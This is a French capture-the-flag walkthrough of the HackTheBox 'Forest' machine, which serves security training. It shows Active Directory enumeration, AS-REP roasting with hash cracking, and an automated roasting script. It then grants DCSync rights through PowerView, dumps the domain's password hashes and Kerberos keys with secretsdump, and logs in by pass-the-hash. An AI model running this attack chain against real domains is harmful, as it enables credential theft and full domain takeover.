HACKTHEBOX - FOREST
Lien : https://app.hackthebox.eu/machines/Forest
Enumeration
Full nmap scan
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-02-17 14:52:39Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
|_ssl-ccs-injection: No reply from server (TIMEOUT)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
|_ssl-ccs-injection: No reply from server (TIMEOUT)
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
windapsearch.py --dc-ip 10.10.10.161 -u '' -p '' -U --full
Output Windapsearch
Enumeration du domaine
[+] No username provided. Will try anonymous bind.
[+] Using Domain Controller at: 10.10.10.161
[+] Getting defaultNamingContext from Root DSE
[+] Found: DC=htb,DC=local
[+] Attempting bind
[+] ...success! Binded as:
[+] None
[+] Enumerating all AD users
[+] Found 29 users:
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: Guest
description: Built-in account for guest access to the computer/domain
distinguishedName: CN=Guest,CN=Users,DC=htb,DC=local
On va enumérer tout les objets avec un filtre LDAP + permissif
python3 windapsearch.py --dc-ip 10.10.10.161 -u '' -p '' --custom 'objectClass=*'
Un compte de service ?
CN=svc-alfresco,OU=Service Accounts,DC=htb,DC=local
Exploitation
Attaque AS-REP Roasting
En regardant la doc de ce service en ligne, on voit qu'il requiert que la pré authentification kerberos soit désactivée.
Kerberos est un protocole permettant de mettre en place de l'authentification forte pour l'accès à certains services. Voici comment se déroule une authentification kerberos en vue d'accéder à un service :
-
(AS-REQ) Authentification initiale : Lorsqu'un utilisateur souhaite accéder à un service sur le réseau, il se connecte d'abord à l'authentificateur principal de Kerberos, appelé "Key Distribution Center" (KDC).
-
(AS-REP) Obtenir un Ticket de TGT (Ticket Granting Ticket) : Le KDC vérifie les informations d'identification de l'utilisateur et lui délivre un Ticket de TGT. Ce ticket est chiffré avec une clé secrète dérivée du mot de passe de l'utilisateur, ce qui signifie qu'il ne peut être déchiffré par le KDC et l'utilisateur.
-
(TGS-REQ) Demande d'accès à un service : L'utilisateur envoie une requête TGS-REQ (Ticket Granting Service Request) au KDC, en utilisant le TGT précédemment obtenu.
-
(TGS-REP) Obtenir un Ticket de service : Le KDC répond à la requête TGS-REQ en envoyant un Ticket de service chiffré, utilisant une réponse TGS-REP (Ticket Granting Service Reply).
-
Accéder au service : L'utilisateur envoie le Ticket de service au service demandé. Le service déchiffre le ticket à l'aide de sa propre clé et vérifie l'identité de l'utilisateur auprès du KDC. Si tout est en ordre, l'accès est accordé et l'utilisateur peut utiliser le service sans avoir besoin de fournir à nouveau ses informations d'identification.
Étape | Description | Objet obtenu | Utilité |
---|---|---|---|
AS-REQ | Authentification initiale : Lorsqu'un utilisateur souhaite accéder à un service sur le réseau, il se connecte d'abord à l'authentificateur principal de Kerberos, appelé "Key Distribution Center" (KDC). | - | - |
AS-REP | Obtenir un Ticket de TGT (Ticket Granting Ticket) : Le KDC vérifie les informations d'identification de l'utilisateur et lui délivre un Ticket de TGT. Ce ticket est chiffré avec une clé secrète dérivée du mot de passe de l'utilisateur, ce qui signifie qu'il ne peut être déchiffré que par le KDC et l'utilisateur. | TGT | Le TGT est utilisé par l'utilisateur pour prouver son identité auprès du KDC lorsqu'il souhaite accéder à des services supplémentaires sans réauthentifier son mot de passe à chaque fois. Il permet d'obtenir des Tickets de service pour accéder à des services spécifiques. |
TGS-REQ | Demande d'accès à un service : L'utilisateur envoie une requête TGS-REQ (Ticket Granting Service Request) au KDC, en utilisant le TGT précédemment obtenu. | - | - |
TGS-REP | Obtenir un Ticket de service : Le KDC répond à la requête TGS-REQ en envoyant un Ticket de service chiffré, utilisant une réponse TGS-REP (Ticket Granting Service Reply). | Ticket de service | Le Ticket de service est utilisé par l'utilisateur pour prouver son identité auprès du service demandé. Il permet à l'utilisateur d'accéder au service sans révéler ses informations d'identification au service directement. |
Accès au service | L'utilisateur envoie le Ticket de service au service demandé. Le service déchiffre le ticket à l'aide de sa propre clé et vérifie l'identité de l'utilisateur auprès du KDC. Si tout est en ordre, l'accès est accordé et l'utilisateur peut utiliser le service sans avoir besoin de fournir à nouveau ses informations d'identification. | - | - |
La pré-authentification Kerberos est un mécanisme, par défaut activé, qui oblige que les requêtes AS-REP soient chiffrées par le mot de passe NTLM de l'utilisateur. Cela permet au KDC de vérifier l'authenticiité de l'utilisateur avant de lui envoyer le TGT.
Cependant, 2 cas possibles (et probables) entraînent la désactivation de ce mécanisme :
- Le compte de service le nécéssite, et par conséquent, le service derrière aussi
- Le compte à été crée avant Windows 2008, et par les migrations AD, n'a pas été changé
La disparition de ce mécanisme nous permet de demander un TGT sans fournir le mot de passe. On utilisera l'excellente suite impacket pour cela.
GetNPUsers Output
GetNPUsers.py htb.local/svc-alfresco -dc-ip 10.10.10.161
Password: [rentrez n'importe quel mot de passe]
[*] Cannot authenticate svc-alfresco, getting its TGT
[email protected]:356dd11820eeacb080967c314c9f51af$ae4d946178184d86f4d32ff23a1610feded555c676adecef87dd16b9481a935c66a2687efdb451cfed979942c71ae2fb98e1f0b6519afb215a5ad812efb8b87542f9bac069a6bd2454cbc6f8ac1ee52df93dabd2c21b8c5bd26d3ab2888810012fd8e7d061898e39c3119574867514a0b073195d8bb1ffb4c346505c346e45e7e00353621057b2b4251d5b02661b988092743e351de588653878bb22327307f51289edc786653028c853db9ed19f06a122a3bd7784f5acf0428281018ba4b662576b62c75a1475d8e15b1af440f32439af6a6a7be4d7855694b14a828404ac8d78d4e99831f0
On peut copier le hash dans un fichier, et le cracker avec hashcat :
Hashcat Output
hashcat -m 18200 --force -a 0 hashes.asreproast /usr/share/wordlists/rockyou.txt
[email protected]@HTB.LOCAL:e042cadf10b1c7687317cf24074657ef$10f4eba89781a81fb4a2cd61919f61c32e7e7981a56eb22c0ed4cc74ff2cddead68af8bd79e269f049649b522b9abfc13c529e7b01d2bc785925689c63a8da937665c4728edef755a61f5320eaae6908d486108334d3f5104b8fe2c2ac9ceae906d28db4fae9e2fdf72918b40ff7997eae4c8e561fb5b16d4e2bd67fb342d213b08e4bd7509dbc52223467e491fa819b4047d0d5422906f893f8984c9943bbe036986dc5e5f0d925b2770676540c4746b72220f97940e79fc8ccd02ea55d3eb2fa14a150b7b197e7f2d5ce6ea5ee4c1a1ce1b41b1a78bef80d3efc34cf7b051f92f40f5058d6:s3rvice
Le mot de passe obtenu est : s3rvice
On peut alors se connecter avec evil-winRM :
evil-winrm -i 10.10.10.161 -u '[email protected]' -p 's3rvice'
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents>
Script pour l'AD-REP roasting
Nous pouvons le faire aussi via un script :
import argparse
import time
import subprocess
from ldap3 import Server, Connection, ALL_ATTRIBUTES
import re
def extract_tgt_info(output):
# Utiliser des expressions régulières pour extraire les informations du TGT
tgt_info_pattern = re.compile(r"\*\* ([^\n]*)")
tgt_info = tgt_info_pattern.findall(output)
return tgt_info
def query_login_names(ad_host, ad_user, ad_password, ad_base_dn, ad_domain):
# Configurer le serveur LDAP
server = Server(ad_host, get_info=ALL_ATTRIBUTES)
# Établir une connexion avec le serveur
conn = Connection(server, user=ad_user, password=ad_password, auto_bind=True)
# Définir les paramètres de recherche pour afficher uniquement les entrées avec l'attribut objectClass défini et exclure les unités organisationnelles
search_filter = '(&(objectClass=person))'
attributes = ['samAccountName']
# Effectuer la recherche
conn.search(ad_base_dn, search_filter, attributes=attributes)
# Traiter les résultats de la recherche et exécuter la demande de TGT AS-REP pour chaque compte utilisateur
if conn.entries:
for entry in conn.entries:
login_name = entry['samAccountName'].value
if login_name:
print("Nom d'utilisateur:", login_name)
# Exécuter la demande de TGT AS-REP en utilisant GetNPUsers.py d'impacket
spn = f"{ad_domain}/{login_name}"
cmd = f"GetNPUsers.py '{ad_domain}/{login_name}' -dc-ip {ad_host} -no-pass -format john "
try:
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
tgt_info = extract_tgt_info(result.stdout)
if tgt_info:
for tgt in tgt_info:
print(tgt)
else:
error_lines = result.stdout.strip().split('\n')
if error_lines:
print("Échec de l'obtention du TGT AS-REP pour", login_name)
print(error_lines[-1])
else:
print("Échec de l'obtention du TGT AS-REP pour", login_name)
print("Erreur:", result.stdout)
except Exception as e:
print("Échec de l'obtention du TGT AS-REP pour", login_name)
print( str(e))
# Ajouter une pause de 5 secondes avant d'exécuter la demande de TGT pour le prochain utilisateur
time.sleep(5)
else:
print("Aucun objet trouvé.")
# Fermer la connexion
conn.unbind()
def parse_arguments():
parser = argparse.ArgumentParser(description="Interroger les noms d'utilisateur à partir d'Active Directory et effectuer la demande de TGT AS-REP.")
parser.add_argument("--ad_host", required=True, help="L'adresse IP ou le nom d'hôte du serveur Active Directory.")
parser.add_argument("--ad_user", required=True, help="Le nom d'utilisateur pour se connecter à Active Directory.")
parser.add_argument("--ad_password", required=True, help="Le mot de passe de l'utilisateur Active Directory.")
parser.add_argument("--ad_base_dn", required=True, help="Le DN de base d'Active Directory.")
parser.add_argument("--ad_domain", required=True, help="Le nom de domaine Active Directory.")
return parser.parse_args()
if __name__ == "__main__":
args = parse_arguments()
query_login_names(args.ad_host, args.ad_user, args.ad_password, args.ad_base_dn, args.ad_domain)
Veillez bien a installer la librairie "ldap3"
Ce script vous sera utile si vous cherchez a faire un AS-REP roasting si vous avez déja un compte LDAP pour "browser" l'AD.
Pour cette box, le script ne marchera pas car les devs ont décidé d'enlever les droits de lecture sur l'objet "svc-alfresco" (dans le but probable de complexifier l'exploitation du premier user)
- Informations obtenues via le compte null
ldapsearch -x -H ldap://10.10.10.161 -D '' -w '' -b "DC=htb,DC=local" '(&(objectClass=*))'
# svc-alfresco, Service Accounts, htb.local
dn: CN=svc-alfresco,OU=Service Accounts,DC=htb,DC=local
- Informations obtenues via le compte svc-alfresco
ldapsearch -x -H ldap://10.10.10.161 -D 'svc-alfresco' -w 's3rvice' -b "DC=htb,DC=local" '(&(objectClass=*))'
# svc-alfresco, Service Accounts, htb.local
dn: CN=svc-alfresco,OU=Service Accounts,DC=htb,DC=local
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: svc-alfresco
givenName: svc-alfresco
distinguishedName: CN=svc-alfresco,OU=Service Accounts,DC=htb,DC=local
instanceType: 4
whenCreated: 20190920005851.0Z
whenChanged: 20230721232954.0Z
displayName: svc-alfresco
uSNCreated: 26083
memberOf: CN=Service Accounts,OU=Security Groups,DC=htb,DC=local
uSNChanged: 7766888
name: svc-alfresco
<SNIP>
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAALB4ltxV1shXFsPNPewQAAA==
adminCount: 1
accountExpires: 0
logonCount: 14
sAMAccountName: svc-alfresco
sAMAccountType: 805306368
userPrincipalName: [email protected]
<SNIP>
Ceci dit, le script marchera bien sur d'autres contextes, plus "réalistes"
Privilege escalation
On utilise bloodhound comme d'habitude pour avoir une vue d'ensemble de l'AD :
- Ownership de svc-alfresco
On voit que ce dernier est membre du groupe "Account Operator". Nous pouvons regarder ce que ce dernier peut faire
- Reachable high value targets from "Account operator"
Nous voyons que le groupe "Account Operator" à des droits "GenericAll" (c'est à dire qu'il peut faire ce qu'il veut) sur le groupe "Exchange Windows Permissions". Nous pouvons donc ajouter des membres à ce groupe, et donc nous ajouter nous même. Ce dernier groupe a des droits "WriteDACL" sur le domaine. Nous pouvons donc ajouter des droits à notre compte pour qu'il soit admin du domaine.
- Création d'un compte victorhin0 avec un mot de passe "bonjour" :
New-ADUser -Name "victorhin0" -AccountPassword (ConvertTo-SecureString "bonjour" -AsPlainText -Force) -Enabled $true -ChangePasswordAtLogon $false -PasswordNeverExpires $true -Path "OU=Service Accounts,DC=htb,DC=local"
- Ajout de victorhin0 au groupe "Exchange Windows Permissions"
Add-ADGroupMember -Identity "Exchange Windows Permissions" -Members "victorhin0"
- Ajout du privilege "DC-Sync" a victorhin0
Pour éxécuter les prochaines commandes, il faut impérativement importer le module PowerView.ps1 de Powersploit (dispo ici https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
Pour l'importer
Import-Module ./PowerView.ps1
Pour vérifier, vous pouvez faire un "Get-Command Add-ObjectACL" et vous devriez voir la commande
$Password = ConvertTo-SecureString "bonjour" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential("htb.local\victorhin0", $Password)
Add-ObjectACL -PrincipalIdentity victorhin0 -Credential $Credential -Rights DCSync -Verbose
DCSync est un droit sur ActiveDirectory qui permet à un compte ou un ordinateur ayant ce droit d'accéder aux données de réplication du service d'annuaire (Directory Replication Service, DRS) de l'Active Directory.
- Récupération du hash NTLM de l'admin du domaine avec secretsdump.py
SecretDump output
secretdump.py -just-dc-ntlm htb.local/victorhin0:[email protected]
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
<SNIP>
htb.local\sebastien:1145:aad3b435b51404eeaad3b435b51404ee:96246d980e3a8ceacbf9069173fa06fc:::
htb.local\lucinda:1146:aad3b435b51404eeaad3b435b51404ee:4c2af4b2cd8a15b1ebd0ef6c58b879c3:::
htb.local\svc-alfresco:1147:aad3b435b51404eeaad3b435b51404ee:9248997e4ef68ca2bb47ae4e6f128668:::
htb.local\andy:1150:aad3b435b51404eeaad3b435b51404ee:29dfccaf39618ff101de5165b19d524b:::
htb.local\mark:1151:aad3b435b51404eeaad3b435b51404ee:9e63ebcb217bf3c6b27056fdcb6150f7:::
htb.local\santi:1152:aad3b435b51404eeaad3b435b51404ee:483d4c70248510d8e0acb6066cd89072:::
victorhin0:9601:aad3b435b51404eeaad3b435b51404ee:a88baa3fdc8f581ee0fb05d7054d43e4:::
FOREST$:1000:aad3b435b51404eeaad3b435b51404ee:0f7b3e5e5ff5072434741c5201394592:::
EXCH01$:1103:aad3b435b51404eeaad3b435b51404ee:050105bb043f5b8ffc3a9fa99b5ef7c1:::
[*] Kerberos keys grabbed
htb.local\Administrator:aes256-cts-hmac-sha1-96:910e4c922b7516d4a27f05b5ae6a147578564284fff8461a02298ac9263bc913
htb.local\Administrator:aes128-cts-hmac-sha1-96:b5880b186249a067a5f6b814a23ed375
htb.local\Administrator:des-cbc-md5:c1e049c71f57343b
krbtgt:aes256-cts-hmac-sha1-96:9bf3b92c73e03eb58f698484c38039ab818ed76b4b3a0e1863d27a631f89528b
krbtgt:aes128-cts-hmac-sha1-96:13a5c6b1d30320624570f65b5f755f58
krbtgt:des-cbc-md5:9dd5647a31518ca8
htb.local\sebastien:aes256-cts-hmac-sha1-96:fa87efc1dcc0204efb0870cf5af01ddbb00aefed27a1bf80464e77566b543161
htb.local\sebastien:aes128-cts-hmac-sha1-96:18574c6ae9e20c558821179a107c943a
htb.local\sebastien:des-cbc-md5:702a3445e0d65b58
htb.local\lucinda:aes256-cts-hmac-sha1-96:acd2f13c2bf8c8fca7bf036e59c1f1fefb6d087dbb97ff0428ab0972011067d5
htb.local\lucinda:aes128-cts-hmac-sha1-96:fc50c737058b2dcc4311b245ed0b2fad
htb.local\lucinda:des-cbc-md5:a13bb56bd043a2ce
htb.local\svc-alfresco:aes256-cts-hmac-sha1-96:46c50e6cc9376c2c1738d342ed813a7ffc4f42817e2e37d7b5bd426726782f32
htb.local\svc-alfresco:aes128-cts-hmac-sha1-96:e40b14320b9af95742f9799f45f2f2ea
htb.local\svc-alfresco:des-cbc-md5:014ac86d0b98294a
htb.local\andy:aes256-cts-hmac-sha1-96:ca2c2bb033cb703182af74e45a1c7780858bcbff1406a6be2de63b01aa3de94f
htb.local\andy:aes128-cts-hmac-sha1-96:606007308c9987fb10347729ebe18ff6
htb.local\andy:des-cbc-md5:a2ab5eef017fb9da
htb.local\mark:aes256-cts-hmac-sha1-96:9d306f169888c71fa26f692a756b4113bf2f0b6c666a99095aa86f7c607345f6
htb.local\mark:aes128-cts-hmac-sha1-96:a2883fccedb4cf688c4d6f608ddf0b81
htb.local\mark:des-cbc-md5:b5dff1f40b8f3be9
htb.local\santi:aes256-cts-hmac-sha1-96:8a0b0b2a61e9189cd97dd1d9042e80abe274814b5ff2f15878afe46234fb1427
htb.local\santi:aes128-cts-hmac-sha1-96:cbf9c843a3d9b718952898bdcce60c25
htb.local\santi:des-cbc-md5:4075ad528ab9e5fd
victorhin0:aes256-cts-hmac-sha1-96:7ffa44d8e94f66624e9704d5a10f55746b9280e4b4485ac1c3213800bdc26bf4
victorhin0:aes128-cts-hmac-sha1-96:8b7c3e959a8bd05708487fa600cc082b
victorhin0:des-cbc-md5:b938c1199775c1ae
FOREST$:aes256-cts-hmac-sha1-96:0845a38da2e6771274ac59f78493430b72a42a87d9f09328e7c711de50121f2d
FOREST$:aes128-cts-hmac-sha1-96:5d7bbd191e7d0ee0774a68ce413711d2
FOREST$:des-cbc-md5:07e679519245f292
EXCH01$:aes256-cts-hmac-sha1-96:1a87f882a1ab851ce15a5e1f48005de99995f2da482837d49f16806099dd85b6
EXCH01$:aes128-cts-hmac-sha1-96:9ceffb340a70b055304c3cd0583edf4e
EXCH01$:des-cbc-md5:8c45f44c16975129
[*] Cleaning up...
SecretDump est un outil qui utilise DRSUAPI (Directory Replication Service Remote Protocol). Ce protocole est utilisé quand un DC doit répliquer ses données à un autre DC. Il est donc possible de récupérer les données de l'AD en utilisant ce protocole.
Connection via PTH
Enfin, on peut utiliser le hash obtenu du administrator pour faire un PtH (Pass the Hash) :
evil-winrm -i 10.10.10.161 -u '[email protected]' -H "32693b11e6aa90eb43d32c72a07ceea6"
Et on est root !